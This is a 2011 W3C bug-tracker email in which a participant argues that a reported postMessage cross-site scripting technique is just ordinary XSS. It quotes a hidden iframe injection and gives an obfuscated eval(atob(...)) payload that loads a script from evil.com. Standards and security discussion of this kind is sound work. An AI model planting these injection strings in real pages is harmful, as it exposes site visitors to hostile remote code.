[Bug 12469] Dynamic Cross-Site Scripting and Page Repainting

http://www.w3.org/Bugs/Public/show_bug.cgi?id=12469

--- Comment #12 from Aryeh Gregor <Simetrical+w3cbug@gmail.com> 2011-04-12 22:34:47 UTC ---
(In reply to comment #10)
> I will say however, previous exploits require the injection of a script via:
> 
> <script src=“www.externaldomain.com/script.js”>
> 
> In the case of a stored XSS attack (one that becomes a permanent feature of a
> website); this would be an obvious indicator of cross site scripting. 
> 
> In my example, script embedding can be a lot more subtle:
> 
> <iframe id="mommy" src="www.externaldomain.com/randomwebpage.html"
> style="visibility:hidden; height:0; width:0"></iframe>

Why is that any more subtle than

<script>eval(atob("ZG9jdW1lbnQud3JpdGUoJzxzY3JpcHQgc3JjPWh0dHA6Ly9ldmlsLmNvbS9teWpzLmpzPjwvc2NyaXB0Picp"));</script>

or any similar obfuscation method?  (The one I just gave doesn't work in IE,
but there are loads of other options.)  For your exploit to be meaningfully
new, it must make it possible to gain some type of access that would not
previously have been possible.  You're transferring data using postMessage()
instead of <script src>, but that's just doing standard XSS in a new way --
there's no new exploit here.

It isn't enough to just list how your attack is different from previous
attacks.  For the attack to actually be the fault of postMessage(), it has to
be something where no equivalent attack can be performed without using
postMessage(), which is just not the case here.

-- 
Configure bugmail: http://www.w3.org/Bugs/Public/userprefs.cgi?tab=email
------- You are receiving this mail because: -------
You are the QA contact for the bug.

Received on Tuesday, 12 April 2011 22:34:52 UTC